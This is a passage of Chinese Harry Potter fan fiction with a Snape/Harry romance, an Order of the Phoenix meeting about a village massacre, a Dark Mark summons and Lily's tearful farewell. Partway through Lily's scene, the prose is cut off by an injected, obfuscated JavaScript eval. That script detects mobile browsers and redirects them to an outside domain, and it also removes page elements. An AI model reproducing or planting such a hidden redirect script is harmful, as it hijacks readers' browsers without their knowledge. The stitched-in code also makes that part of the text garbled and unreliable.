他说到一半突然停下,像是意识到自己失态了。但哈利怔住了,他听出了那些没说完的话。他能看到斯内普眼中燃烧着真切的怒火,能感受到握着他手臂的手在微微颤抖。不,不光是怒火——那双黑眸深处是无处隐藏的恐惧。 清晨那点甜蜜轻松早被眼前的危机冲得一干二净,空气中弥漫着紧张和不安。可就在这一刻,一股冲动驱使着哈利,让他想要去安抚眼前这个人,让他别那么害怕。 于是,他没退开,反而顺着斯内普的手往前迈了一步。两人之间的距离近得能听见彼此的呼吸。哈利微微凑过去,在斯内普还没反应过来前,蜻蜓点水般地亲了一下那张薄唇。 触感一触即分,却足以让斯内普整个人僵住。 “那就盯着我,西弗勒斯。”哈利小声说,温热的呼吸拂过斯内普的脸颊,“别让我乱来。” 斯内普的瞳孔微微张大,眼神在哈利脸上扫过——从那双明亮的绿眼睛,到微微泛红的脸颊,再到刚刚亲吻过他的嘴唇。有那么一瞬间,他看起来想要说什么,或者做什么。他的另一只手慢慢抬起来,指尖就要碰到哈利的脸—— 哈利感觉到了什么。塔里的魔法防护传来一阵轻微的震动——有人通过飞路网到了。 那种暧昧又紧张的气氛一下子散了。斯内普的手停在半空,然后缓缓放下,可他的眼神还是在哈利的嘴唇上多停了一秒,才不太情愿地移开。哈利轻轻挣脱他的手,退后一步,两人又拉开了点距离。 “有人来了。”哈利收拾好情绪,“我们去迎接吧。” 他率先转身走向会议厅入口,能感觉到斯内普的目光一直追随着他。那种灼热的注视让他的后颈有些发烫,脚步不由得快了几分。 —————— 来的是卢平和莉莉一行人。 哈利一看到他们,整个人就呆住了。他没料到莉莉会来——她怀里还抱着黛西,泰迪紧跟在卢平身边。他下意识地扫了一圈,发现詹姆斯和小天狼星都不在场。 莉莉的目光在看到他的那一刻就定住了。那双绿眼睛,和哈利一模一样的绿眼睛,死死锁在他身上——专注得仿佛要把他刻进心里,要确认他是真实存在的。她的脸色憔悴不堪,眼睛微微红肿着,眼下还有淡淡的青影,显然一夜未眠。可真正让哈利心跳失控的,是她眼里的情绪。不再是昨天那种礼貌的疏远——震惊、悲伤、愧疚、心疼,太多复杂的东西在她眼里翻滚。 她知道了。 刹那间,哈利意识到了。不需要任何言语或解释,他立刻明白——莉莉已经知道了他的身份,知道他是谁。 “哈利!”泰迪松开卢平的手,跑过来一把抱住他的腰。 哈利低头,手掌轻轻按在泰迪头上,可他的视线依然胶着在莉莉身上,仿佛有根无形的绳子拴着他,让他挪不开眼。 莉莉也在看着他。她的嘴唇张了张,又紧紧抿住,然后再次张开—— 哈利下意识往后退了一步,却撞上一个温暖结实的胸膛。 是斯内普。 魔药教授不知何时站到了他身后,一只手轻轻扶在他后背上,给了他无声的支撑。 “西弗!”泰迪转过去抱了抱斯内普。 “泰迪。”斯内普开口了,声音一如既往的平稳,却恰好打破了这让人喘不过气的沉默,“你先带着波特夫人的孩子先回房间。”他说完,对莉莉微微点头,算是打过招呼。 “可是——”泰迪仰起头,敏锐的孩子似乎察觉到了什么,眼睛在哈利和莉莉之间来回看。 “听西弗勒斯的话。”哈利总算找回了自己的声音。他轻轻推了推泰迪的肩膀,“一会儿有重要会议,你得跟黛西待在安全的地方。” 他暗自攥紧拳头,强迫自己抬头看向莉莉。这几乎用尽了他的勇气:“波特夫人,谢谢您能来。” 就这么一句简单的话,却像是碰到了什么开关。莉莉的眼泪差点溢出来,可她咬紧下唇,只是盯着哈利不放。 “应该的,我也是凤凰社一员。”当她终于开口的时候,声音抖得厉害,“佩弗利尔教授。” 那个称呼,那个伪装的名字,从她嘴里吐出时,哈利感觉心脏被狠狠拧了一下。 “多比!”他仓促地转过身,低声唤道。忠诚的小精灵立刻出现在他面前,大眼睛亮晶晶的。 “哈利先生!多比非常高兴能为您服务!多比能为您做些什么吗,先生?” “多比,谢谢你。”哈利努力稳住自己的情绪,“我们待会儿有重要会议,能麻烦你照看一下泰迪和黛西吗?确保他们安全和舒适,别让外面的动静打扰他们。” “多比非常乐意!”小精灵深深一鞠躬,“多比已经为泰迪打扫好他的房间!还准备了最软的毯子!最新鲜的牛奶!” 卢平这时走过来,先是用一种古怪的眼神看了眼斯内普,然后轻轻拍了拍哈利的肩膀,眼里满是担忧和理解。 “哈利。”他小心翼翼地说,“小天狼星和詹姆斯回魔法部了。一会儿会议结束后,我们需要谈谈。” 他瞥了莉莉一眼,又看向哈利:“有些很重要的事。” 哈利喉咙一紧,只能僵硬地点了点头。 “泰迪,跟多比去吧。”卢平温和地对儿子说,手掌轻抚着男孩的棕色头发,“帮忙照顾一下黛西,好吗?她还很小,需要哥哥的保护。” 泰迪不大想走,可还是听话地走到莉莉面前,小心从她怀里接过黛西。女婴在他怀里动了动,发出细小的咕哝声,粉嫩的小手在空中挥舞。 “要小心抱着她。”莉莉低声叮嘱。她的目光依依不舍地在女儿脸上停留,但很快又转向哈利,带着某种说不清的情绪。 “我会的,莉莉阿姨。”泰迪认真地点头,把黛西抱得更稳了些,跟在多比身后离开了。 “其他人应该快到了。”哈利飞快地瞄了一眼莉莉,嗓音有些干涩,“我们先进去等着吧。” 他带头走向长桌,挑了个位子坐下。斯内普毫不迟疑地坐到他旁边,两人的肩膀几乎挨着。莉莉和卢平坐在对面,莉莉的眼神始终黏在哈利身上。 很快,壁炉的火焰接二连三地亮起又熄灭,凤凰社的成员陆续通过飞路网抵达,也有直接幻影移形过来的。 阿拉斯托·穆迪拄着拐杖一瘸一拐地走进来,那只蓝色魔眼立刻转个不停,把房间每个角落都扫了一遍。 “佩弗利尔,斯内普。”他用那粗哑的嗓音打了招呼,一屁股重重坐下,拐杖随手靠在椅边。接着他瞥到对面的卢平和莉莉,“莉莉·波特,上回没见着你。” 莉莉勉强对他点点头,算是回应。 米勒娃·麦格教授紧随其后。她今天还是那副严厉模样,眉头皱得很紧。看到坐着的几人,她绷着脸点了下头。 德达洛·迪歌从壁炉里跌跌撞撞钻出来,差点被自己的长袍绊了个跟头。那顶紫色高帽歪歪斜斜,他赶紧伸手扶住,才没让它掉下来。 其他成员也陆陆续续到了——埃米琳·万斯、海丝佳·琼斯、埃菲亚斯·多吉……每个人脸上都挂着沉重,显然都为即将到来的坏消息而忧心忡忡。 邓布利多最后一个踏进会议厅。 他的身影一出现,厅内的低语声瞬间安静下来。 今天的邓布利多披着一件朴素的深紫色长袍,这让他看起来少了几分和蔼,多了几分威严。他的蓝眼睛在半月形眼镜后透出凌厉的光,脸上没有半点平日里的轻松。 “詹姆斯、小天狼星还有金斯莱呢?”麦格教授扫视一圈,问出了大家都想问的问题。 “魔法部紧急召回了所有傲罗。”邓布利多在主位坐下,双手十指交叉搁在桌上,“我已经跟詹姆斯联系过了,魔法部的突发状况和我们要谈的事应该是一回事。他们会从内部协助调查,所有消息都会第一时间传回凤凰社。” 众人各自找位置坐下。哈利发现自己正对着莉莉,这让他有些无处可躲。她的目光一直没离开他,那种专注的眼神弄得他坐立难安,只好不停地把视线移向别处,装作在打量其他人。 就在这让人不安的气氛里,哈利感觉到桌下有什么轻轻碰了下他的手。 他低头一看,是斯内普的手指。 那只修长而冰凉的手像是在试探,指尖若有似无地擦过他的手背。哈利的心跳瞬间加快,他偷偷瞥了眼穆迪——谢天谢地,那只魔眼正盯着天花板上的某个角落,似乎在检查那里藏着什么潜在威胁,完全没注意到这边的小动作。但哈利知道,穆迪的警觉性极高,那只眼睛随时可能转向这边。 他应该拒绝的。在凤凰社会议上,在这么多人面前,这太冒险了。 可是…… 哈利犹豫了一瞬,悄悄摊开手掌,掌心朝上放在膝盖上。他的手抖得有些明显——分不清是紧张还是期待。 下一秒,斯内普的手覆了上来,手指缓缓滑入哈利的指缝,一根根扣紧,然后收拢,直到十指交缠。掌心的那股暖意和力道顺着掌心传过来,把哈利刚才的忐忑和不安一扫而空。 穆迪的魔眼突然转了个方向,哈利的心差点跳停。可那只眼睛只是扫过他们,又移向了别处。哈利暗自松了口气,同时感到一种疯狂的刺激感——就像学生时代在费尔奇眼皮底下违反校规的感觉。 “注意场合。”哈利用口型无声地提醒,眼神朝穆迪那边瞟了瞟。 斯内普面不改色地看着邓布利多,脸上还是那副冷冰冰的表情,只有嘴角微微翘了一丝:“昨晚某个格兰芬多也没怎么注意场合。”他低声说,轻得只有哈利能听见,语气里带着点调侃和暧昧。 哈利差点被自己的口水呛到,脸颊一下热了起来,连耳尖都红了。他想把手抽回来——这可是凤凰社会议,周围全是同事和长辈——但斯内普握得很紧,而且说实话,他自己也不太想放开。 他索性不挣扎了,反手更用力地回握住斯内普的手,心里却忍不住嘀咕,疯眼汉那只眼睛最好别往这边瞟。 没一会儿,邓布利多清了清嗓子,所有的目光立刻集中到他身上。 “我必须告诉大家一个极其严重的消息。”他没有半句寒暄,直奔主题,“昨天,复活节当日,小汉格顿村遭受了一场前所未有的惨案。” 没有人出声。所有人都屏住了呼吸,等着他继续说下去。 “整个村子,”邓布利多接着说,“超过两百名居民,在同一天内全部死亡。里面绝大多数是麻瓜,但也有几个注册过的哑炮,以及两名隐居的巫师。” “什么?” “不可能!” “梅林啊!” 惊呼声此起彼伏。万斯捂住了嘴,迪歌的帽子这回真掉到了地上,就连平时冷静的多吉都瞪大了眼睛。 “他们是怎么死的?”穆迪粗声粗气地问。 邓布利多平静地描述了现场的惨状,会议室里不时响起几声压抑的抽气声。 “什么样的黑魔法能做到这种事?”穆迪的魔眼停住不动,死死盯着邓布利多,“我活了这么多年,审过的黑巫师没有一千也有八百,从没听说过这种手段。” “正是因为前所未闻,才更加危险。”邓布利多缓缓答道,“现场的黑魔法痕迹极弱,几乎难以察觉。如果不是死亡人数太多引起注意,恐怕我们根本不会发现这是魔法所为。” “你们确定是神秘人干的?”迪歌颤声问道,他甚至没有心思去捡掉在地上的帽子。 “毫无疑问。”邓布利多斩钉截铁地说,“这种手法,这种对生命的极度漠视,还有选择小汉格顿这个特定地点——都指向同一个人。” “可他为什么要这么做?”麦格困惑地皱起眉头,“消失这么多年,突然制造这样的惨案,却不留下黑魔标记……这完全不像他的风格。” “除非他在谋划什么更大的阴谋。”斯内普突然开口。 所有人的目光齐刷刷转向他。他依旧是那副不动声色的模样,但哈利能感觉到他掌心微微出汗。 “什么意思?”穆迪眯起眼睛追问,魔眼飞快转了几圈,固定在斯内普身上。 哈利和斯内普交换了一个短暂的眼神,随后不约而同地看向邓布利多。老人微微颔首,蓝眼睛在镜片后闪了闪——这是允许他们透露更多信息的信号。 “我和西弗勒斯在伏地魔身边潜伏了很久。”哈利谨慎地开口,尽量不去看莉莉的方向,“我们有充分的理由相信,他正在研究一种全新的魔法。” 他停顿了一下,确保每个人都在听:“一种可能彻底改变他本质的魔法。” “灵魂魔法。”斯内普言简意赅地补了一句。 会议厅瞬间陷入死寂。哈利能听见自己的心跳,感觉到斯内普攥着他的手紧了紧,也感觉到——莉莉的目光。当“在伏地魔身边潜伏”这话一出口,她的呼吸明显急促了。 “看来你们的潜伏工作很有成效。”邓布利多说,语气里没有赞赏,只有深深的忧虑。 “但还不够。”哈利坦白道,逼自己把心思拉回正事,“我们知道他在计划什么,却不知道具体细节。而现在看来……” “他可能已经开始行动了。”邓布利多缓缓起身。 他的动作不快,可每个人都能感觉到那种迫在眉睫的紧张感。老人环视着在座的每一个人,声音里透着不容置疑的决断: “从今天起,凤凰社必须立刻转入最高级别的战备状态。我们不能再被动等待了。” 他开始分派任务,每点到一个名字,那人便立刻挺直身子,神情肃穆地听着。 “阿拉斯托,你负责重新检查和加固所有安全屋的防护。每一个曾经用过的地点都要仔细核查,每一道防护咒都必须更新。同时,重新评估所有已知的食死徒嫌疑人和他们近期的活动踪迹,我们需要建立一个更严密的监控网络。” 穆迪发出一声低沉的咕哝,魔眼又开始疯狂转动:“放心,那些家伙别想在我眼皮底下耍花样。” “米勒娃,立即启动霍格沃兹最高级别的防御预案。封锁所有密道,加强城堡的魔法防御,对学生实施更严格的出入管理,并加强安全教育。同时准备紧急疏散方案——如果最坏的情况发生,我们必须能在最短时间内撤离所有学生。” 麦格教授表情严峻:“我今晚就开始安排。费尔奇会配合检查每一条走廊。” “莱姆斯,德达洛,你们负责利用各自的渠道,去联络那些立场未明的巫师和团体。现在不是保持中立的时候了,我们需要更多盟友。”邓布利多看向卢平,眼神意味深长,“莱姆斯,你可能需要再次接触……那些特殊群体。我知道这很困难,但他们的态度可能会起到关键作用。” 卢平若有所思地点头。哈利知道邓布利多指的是什么——狼人、吸血鬼、巨人,那些被边缘化的魔法生物群体。 “至于哈利和西弗勒斯……” 邓布利多的目光最后落在他们身上,那沉重的神情让哈利心头一沉。 “你们的任务依然是最危险的——继续潜伏在伏地魔身边,探明他的真正意图。但是,”他异常严肃地说,“伏地魔可能已经不再按常理出牌。我需要你们比以往任何时候都更加谨慎,保护自己是第一要务。” “我们会小心的。”哈利保证道。 “不,你没有理解我的意思。”邓布利多摇头,“我要你们记住,一旦察觉到无法应对的危险,立刻撤退。不要犹豫,不要逞强。你们的生命比任何情报都重要。” 他的目光扫过每一个人:“我们已经失去了太多人,这次我希望不会再失去你们任何一个。” 会议厅里落针可闻。每个人都在沉默中咀嚼着那个残酷的真相——黑暗的时代或许真的要卷土重来了。 然后—— 剧痛毫无预兆地袭来。 哈利的左臂像是被什么东西狠狠咬住,紧接着,一股熟悉又可怕的灼烧感如毒蛇般钻进皮肤,穿透血肉,直刺骨髓。那种感觉难以言喻——仿佛有人拿烧红的烙铁压在他手臂上,又似千万只火蚁在血管里疯狂撕咬。 “唔——” 他本能地倒吸一口凉气。疼痛来得太快,太猛,让他一时间什么都顾不上。几乎就在同时,他感觉到握着他的那只手猛地抽搐了一下,然后攥得更紧。 哈利咬着牙转头,看到斯内普的脸色在一瞬间白得像纸,显然也在忍受同样的折磨。 两人交握的手因剧痛被迫松开。 这一切快得让人措手不及。可有人比所有人都先一步察觉到了不对。 “哈利!” 莉莉几乎是立刻站了起来。 “怎么回事?”麦格教授紧跟着起身,“出了什么事?” 穆迪的反应最快。他的魔眼在哈利和斯内普身上扫个不停,拐杖重重砸在地上:“黑魔标记!是黑魔标记在召唤!” 会议室顿时乱成一团。所有人都站了起来,椅子撞在一起,响声不断。琼斯迅速念了个防护咒,迪歌的手抖得连魔杖都快拿不稳。 卢平第一时间冲到莉莉身边,一手扶住她摇晃的身体,一手已经抽出魔杖。 “封锁所有出入口!”穆迪吼道,“检查防护!这可能是陷阱!” “阿拉斯托,冷静。伏地魔不可能通过黑魔标记发现我们的位置。”邓布利多的声音穿过混乱,语气却前所未有的沉重。 黑魔标记在燃烧。 哈利能感觉到那个诅咒印记在皮肤下蠕动,像是活物一样散发着恶意。两个月沉寂后,伏地魔的意志通过这该死的联系强行灌入——冰冷、强大、不容抗拒。他在召唤,咆哮着命令他的仆人立刻到他面前。 冷汗瞬间浸透了哈利的后背。为什么偏偏是现在?小汉格顿惨案刚发生,他们还在开会商讨对策,这一切来得太巧合,巧合得让人毛骨悚然。 “是……是他。”哈利艰难地挤出这几个字。他颤抖着抬起左手,手指笨拙地解开袖扣,把袖子推上去。 那个由骷髅和蛇缠绕的黑魔标记在他的前臂上狰狞毕现。 房间里的气氛瞬间降到了冰点。 邓布利多的眼神变得极为凌厉:“他在这个时候发出了召唤?” “绝非巧合。”穆迪的拐杖重重敲在地上,发出沉闷的响声,“小汉格顿的事刚发生,他就召集食死徒。他要有大动作了。” “或者他已经察觉了什么。”万斯的声音带着一丝颤抖,“如果他发现了间谍……” “不。”斯内普强撑着站直身体,“如果他知道了,就不会用标记召唤……他会用更直接的方式。” 哈利明白斯内普的意思。如果伏地魔真的发现了他们的身份,等待他们的不是召唤,而是死亡的镰刀。 “我们必须去。”他努力稳住呼吸,“要是不回应召唤,会立刻引起怀疑。尤其这时候,任何不对劲都可能暴露我们。” “不行!” 一个尖锐的声音突然响起,所有人都扭头看向声音的来源。 莉莉不知何时绕过长桌,跌跌撞撞地冲到哈利面前。她的脸上没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156443|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝血色,绿眼睛里满是惊恐。她伸出手,想抓住哈利,却在即将触到他的瞬间颤抖着缩回——她的目光落在那个仍在扭动的黑魔标记上,眼中的恐惧更深了。 “不行!你不能去!你不明白……你不知道他有多残忍……”她的呼吸急促而紊乱,胸口剧烈起伏着,“这太危险了!万一是个陷阱——万一他察觉了什么——” “莉莉。”卢平走上前,轻轻按住她的肩膀,试图让她冷静,“哈利知道自己在做什么。” “不!他不知道!”莉莉猛地甩开卢平的手,“他只是个——” “求你了。”她的声音突然变得很小,小到几乎听不见。眼泪在眼眶里打转,随时都会落下,“别去。我知道你是谁,我全都知道了。你是——” “莉莉。”邓布利多的声音响起,带着一丝警告的意味。 这个名字像一道魔咒,硬生生截断了莉莉即将脱口的话。但她的泪水却再也止不住,顺着脸颊滚落下来。她死死咬住下唇,整个人都在颤抖。 穆迪的魔眼在两人间飞快转动,麦格的表情从疑惑变为若有所思,她看向邓布利多,似乎在寻求某种确认。在场的每个人都被这一幕震得哑口无言。 “莉莉说得有道理。”卢平再次开口,语气里透着浓浓的担忧,“这确实可能是陷阱。如果伏地魔起了疑心……” “可不去会惹来更大的怀疑。”哈利摇摇头,又一阵剧痛袭来,逼得他咬紧牙关,“再说,这可能是了解他真正计划的唯一机会。” 邓布利多沉默良久。终于,他缓缓点头,“哈利说得对。不过——” 他伸手探进巫师袍内袋,摸索片刻,掏出一本不起眼的黑色皮革笔记本,打开后,从中掉出两把小巧的黄铜钥匙。 “门钥匙。”他将钥匙放在桌上,“紧急专用。只要碰上任何危险——我说的是任何让你们不安的情况——立刻用它。它会直接带你们回到霍格沃兹大门外。” 哈利伸手去拿,可另一只手比他更快—— 莉莉一把抓起那两把钥匙,紧紧攥在手心。 “我来。”她的声音不大,态度却很坚定。 她走到哈利面前,用颤抖的手拉起他的右手。她将其中一把钥匙放入他的手心,然后双手包住他的手,像要把钥匙刻进他的皮肤。 “放进最安全的地方。”她的声音抖得厉害,“内袋,对,就是那里。” 她引导着哈利的手,将钥匙塞进他长袍最里层的口袋,手指在口袋上停了许久,反复确认着位置。 “答应我。”她死死地盯着他的绿眼睛,“一有危险,立刻用它。别想着完成什么任务。” 哈利觉得他必须说点什么。他不能就这样离开,不能让她带着这样的恐惧和痛苦等着。于是,他伸出手,轻轻握住她仍在颤抖的手。 “我会小心的。”他低声说,音量低得只有他们俩能听见,“我答应您。而且……” 他顿了顿,鼓起所有勇气:“我还有很多话想对您说。等我回来,如果您愿意听的话。” 莉莉的眼泪又涌了出来,她赶紧抹了一把,转向斯内普,将另一把钥匙递给他。 “西弗勒斯。”她凝视着这位旧友,眼中情绪复杂难辨,“求你……” 她没说完,但斯内普懂了。他接过钥匙,郑重地点了点头。 时间一分一秒过去。黑魔标记的灼烧越来越急,越来越狂躁。 “我们必须走了。”斯内普催促道。 哈利深吸一口气,最后环视了一圈会议室。他看到了每一张担忧的面孔——穆迪握紧的拐杖,麦格教授紧抿的嘴唇,卢平眼中的忧虑和理解,还有…… 还有莉莉。 她还在哭,但已经不再出声。她只是那样看着他。 “复方汤剂。”斯内普提醒,“我带了现成的,我们得立刻准备。” 哈利点点头。他和斯内普向邓布利多和其他人微微颔首,随即转身快步走向门口。 —————— 安静的走廊里只有两人的脚步声。哈利和斯内普刚走出没多远,身后突然传来急促的脚步声。 “哈利!” 两人几乎同时转身,只见莉莉居然追了出来,一句话也没说,只是快步走向哈利,紧紧抱住了他。 这个拥抱来得毫无预兆,力道大得快让哈利喘不过气来。但他一动不动,任由她抱着,感受着她的眼泪浸湿了他的肩膀。 接着,莉莉稍稍退开,双手捧起他的脸,踮起脚尖,在他的额头上——确切地说,是伤疤上——印下一个吻。 那个位置选得太准,准得让哈利的心脏狠狠一颤。她知道那道伤疤的含义,知道它承载了什么,知道曾有一位母亲用生命在那儿留下了爱的痕迹。 那个吻轻柔如羽,却让哈利感觉整个世界都静止了。一股暖流从那个被亲吻的地方扩散开来,流过四肢百骸,甚至让黑魔标记的疼痛都减轻了几分。 “活着回来。”她退开时轻声说,绿色的眼眸直直地望进他的眼底,“求你,一定要活着回来。我会等你……等你回来告诉我那些话。我也有好多话想对你说。” 哈利哽咽得说不出话,只能用力点头,眼眶早已泛红。 这时,斯内普上前一步。 “我会护着他。”他看着她的眼睛,“用我的生命担保。” 莉莉转头看向他,新的泪水滑落。她伸出手,轻轻握住斯内普的手腕:“谢谢你,西弗。” 那个久违的昵称从她唇间吐出,充满了信任与恳求。 斯内普的神情有一瞬动摇,但很快恢复冷漠,只是默默点了点头。 “去吧。”莉莉闭了闭眼,“小心。都要小心。” 她最后看了哈利一眼,然后转身快步走回会议厅,没有再回头。 —————— 走廊里只剩哈利和斯内普两人。他们继续前行,谁也没开口。哈利能感觉到额头上那个吻留下的余温,怀抱的热度仿佛还环绕着他,胸腔里那股甜中带痛的情绪仍在涌动着。 “她知道了。”走到拐角处时,斯内普突然开口。 “是的。”哈利轻声应道。 “詹姆斯·波特告诉她的?” “大概吧。”哈利苦笑了一下,“她可能早就发现不对劲了。” “这会让事情更棘手。”斯内普的语气听不出情绪。 “也许吧。”哈利伸手轻触额头,那里似乎还残留着莉莉的温度,“但至少……她知道我是谁了。” 他的声音哽住了:“她说会等我回去。” 斯内普静静地看了他片刻,然后伸出手,指腹轻轻摩挲着他微湿的脸颊。那动作温柔得有些出人意料。 “走吧。”他说,“我们还有任务。” 他们一言不发地走着,很快来到一间空房间。斯内普熟练地锁上门,念了静音咒和防窥咒,又加了几道防护魔法,确保无人能打扰。 他从长袍内袋掏出一个瓶子,里面装着浑浊的棕色液体,又从另一个口袋取出一只小布包。打开后,里面躺着几根枯黄的头发。他拈起一根,仔细端详片刻,确认无误后,小心翼翼地丢进复方汤剂。 药水顿时剧烈翻腾,冒出大团灰绿色的泡沫,随后渐渐平息,颜色也转为灰绿——这是成功的标志。 “喝吧。”斯内普将瓶子递过去。 哈利却没立刻接下。他反而向前迈了一步,拉近了两人之间的距离。黑魔标记仍在隐隐作痛,时间一分一秒流逝,可有些话他现在不说不行。 “西弗勒斯。”他凝视着那双深不见底的黑眼睛。 “什么?”斯内普沙哑着回道。 “刚才……谢谢你。”哈利说,“谢谢你答应她会保护我。我知道这对你来说——” “闭嘴。”斯内普打断他,语气里却没多少怒气。 “我是认真的。”哈利坚持道,“我知道看到她这样……你心里肯定不好受。毕竟她曾是……” “我说了闭嘴。” 这次斯内普的语气重了些,可哈利还是捕捉到他眼中一闪而过的复杂神色。 “那不只是对她的承诺。”斯内普接下来的话却让他猝不及防,“也是对你的。对我自己的。” 哈利的心脏狠狠跳了一下。他伸出手,轻轻握住斯内普的手。 “我们都会活着回来的。”他坚定地说,“为了她,也为了我们自己。” 斯内普反握住他的手,用力握着,让哈利感到生疼。 “你最好说到做到,哈利。”他看着哈利,眼中有种绝望的坚定,“因为如果你敢死在那里,我绝不会原谅你。” 尽管眼眶还有些湿润,但哈利还是笑了:“这算是威胁吗?听着可真像个斯莱特林。” “是承诺。”斯内普说。 然后,他毫不犹豫地贴近哈利,覆上了那温热的唇瓣。 这一次不同于昨夜的炽烈,也不同于清晨的轻柔。斯内普很用力地拥抱着他,一只手扣住哈利的后颈,仿佛要把他融进自己的身体里。哈利尝到他唇上的苦涩——也许是恐惧的滋味。 分开时,两人都有些气喘。 “别忘了门钥匙在你的内袋里。”斯内普贴着他的额头提醒,声音还带着沙哑,“记住,任何危险的苗头,立刻使用。” “我记得。”哈利闭上眼,感受着这份短暂的亲昵,“你也一样,西弗勒斯。” “还有,”斯内普退开一步,重新戴上了冷硬的面具,“记住你的身份。你是小巴蒂·克劳奇,忠诚的食死徒。无论发生什么,保持冷静。如果他问起你这段时间的行踪……” “我会说上次任务受了重伤,被傲罗盯上,一直在养伤躲藏。”哈利接过话,“放心,这不是我第一次扮演他了。倒是你,西弗勒斯,要是他问起你上次用黑魔标记联系我的事,你怎么应对?” “我有我的办法。”斯内普简短回道,脸色愈发严肃,“听着,黑魔王现在和以前不一样。他可能更加多疑,更加残忍。一个细微的破绽都可能致命。” “明白。”哈利终于接过复方汤剂,看着瓶中灰绿色的液体,“我会小心的。” 他仰头一饮而尽。熟悉而令人不适的变形感传遍全身——骨骼重组,肌肉拉伸,皮肤扭曲。那感觉依旧让人反胃,但他已经习惯了。几秒钟后,斯内普面前出现了一张苍白憔悴的脸,小巴蒂·克劳奇。 斯内普走近,仔细检查他的变身效果,确保没有纰漏。两人对视最后一眼,随即转身,消失在原地。 106. 归来(上) 詹姆斯·波特站在一栋破旧小屋的门口,手指轻抚门框上一道深深的划痕。这是施咒留下的痕迹——从划痕的角度与深度来看,施咒者当时站在屋内,情绪极度失控,魔力溢出得如此剧烈,连门框都被波及。 他重重地吐出一口气。 这已经是他今天勘查的最后一处了。从清晨被紧急召集到现在,他见到的全是令人胆寒的景象——一个原本祥和的村庄,在复活节这充满希望的日子,沦为了一片血腥的屠场。 小汉格顿是个偏远麻瓜村落,两百多人的居民中仅有一对隐居的老巫师夫妇和几个登记在册的哑炮。而现在,他们全都死了。 “詹姆斯!”小天狼星的声音从院子里传来,“外围警戒布置好了,金斯莱带人封锁了进出道路,不会有麻瓜误入。你那边怎么样?” “再给我几分钟。”詹姆斯沉声应道,推开虚掩的木门,迈步走进屋内。 这里曾是个温馨的家。壁炉架上摆满了照片——年轻时的合影、中年时的旅途留念,还有上个月在花园里拍下的笑脸。书架旁并排放着两把扶手椅,一把边上搁着未织完的毛衣,另一把旁摊着一份《预言家日报》,填字游戏只完成了一半。一对马克杯摆在书架上,一只绘着追球手,另一只画着金飞贼;墙角还并排靠着两把老式飞天扫帚,显然夫妻俩都是魁地奇爱好者。 如果不是地板上那两具诡异姿势的尸体,这里看起来与其他巫师家庭并无不同。 年迈的男主人倒在壁炉旁,胸膛被恶咒撕出一道焦黑的伤口,魔杖掉落在一旁。女主人倚着书架倒下,即便死去,魔杖依然牢牢握在手中,笔直地指向她丈夫的方向。她的脖子上有一道深可见骨的切割伤,几乎让她的头颅与身体分离。 詹姆斯蹲下身,仔细察看地板上的魔咒痕迹。这些痕迹记录着悲剧的始末:第一道咒语从女主人发出,直接击中了毫无防备的丈夫。随后,咒光在屋内交错纷飞——所有致命咒语都来自他们彼此的魔杖。 “自相残杀……”詹姆斯喃喃自语,“可是为什么?” 村里其他地方的情形大同小异——麻瓜们用刀、用钝器,甚至徒手互相残杀。而这对巫师夫妇用的是魔杖,但结果都一样。 是什么驱使整个村庄在同一刻陷入疯狂的杀戮? 詹姆斯眉心紧锁。作为一名资深傲罗,他熟知包括三大不可饶恕咒在内的诸多黑魔法,但眼前的一切远超他的认知。 他正准备搜寻房间是否有其他线索,余光却捕捉到角落里一闪而逝的光芒——暗紫与墨绿交缠,如毒蛇般一闪而逝,快得像是错觉。 詹姆斯立刻警觉,站起身想看个清楚。可他起身的动作太急,一阵轻微的晕眩让他短暂地眼前发黑。他扶了下额头——大概是蹲太久了,他昨晚彻夜未眠,至今已经十几个小时没有休息。 他稳住身形,目光再次扫向那阴暗的角落,可小天狼星急促的喊声从屋外传来:“詹姆斯!快出来!我们在这边的谷仓里发现了一些东西,你最好亲自来看看!” 新的线索吸引了他的注意。他环视房间一周,那异样的感觉已消散无踪,也没发现什么其它异样的情况,也许从一开始就只是他的错觉。毕竟在这种地方,神经过敏是很正常的。 在迈出房门时,詹姆斯无意间抬头望向远方,目光穿过薄雾,落在山顶那座阴森的里德尔府上。一股莫名的寒意涌上心头,似乎有不祥的气息正从那里弥漫而来。 他晃了晃头,转身走向等在门外的挚友。 —————— 幻影移形的扭曲感刚一消退,一股浓烈的血腥味迎面袭来。 哈利压下喉咙里的不适,发现自己与斯内普已站在里德尔府外围。空气中涌动着强烈的魔法波动,一道近乎透明的屏障笼罩着整座庄园,阻隔了外界的窥探,也隔绝了一切声响。从这里,他们能清楚地俯瞰山下那座寂静无声的村庄,远处傲罗们布下的警戒线在夜色里若隐若现,时不时闪过微弱的光点。 两人对视一眼,各自从对方眼中看到了凝重。他们一言不发地拉上兜帽,戴上面具,迈步穿过那道屏障。踏入庄园边界的一瞬,哈利感到一股冰冷的寒意掠过全身,仿佛穿过了一层无形的水幕。黑魔标记突然灼热起来,指引着他们前进的方向。 他们先穿过一片荒凉的花园,曾经盛开的玫瑰早已凋零殆尽,漆黑的枝条张牙舞爪地伸展着;中央的喷泉干涸已久,龟裂的池底中央矗立着一座风化严重的石像,几乎看不出原貌。 走进昏暗的大厅,哈利扫了一眼四周。已有不少食死徒聚集,三三两两散开,面具遮住了面孔,但从体态和动作中,仍能认出几位熟面孔。 麦克尼尔正在和另一个食死徒低声交谈。诺特和埃弗里站在壁炉旁,两位纯血家族的老成员彼此保持着微妙的距离,活像两只伺机而动的狐狸。 “西弗勒斯。”一个油腻腻的嗓音打破寂静,亚克斯利从阴影中走出,“没想到你真的来了。听说你已经是斯莱特林的院长?” “只是个职位而已,”斯内普不以为然地说,“你在魔法部,不也混得不错?” “邓布利多那个老疯子,难道就一点没怀疑你?” “他只相信他愿意相信的。” 亚克斯利转头打量哈利,眼底闪过一抹诧异:“慢着,这是……小巴蒂·克劳奇?梅林在上,我们都以为你早烂在阿兹卡班了!老克劳奇不是还签了死亡证明吗?” 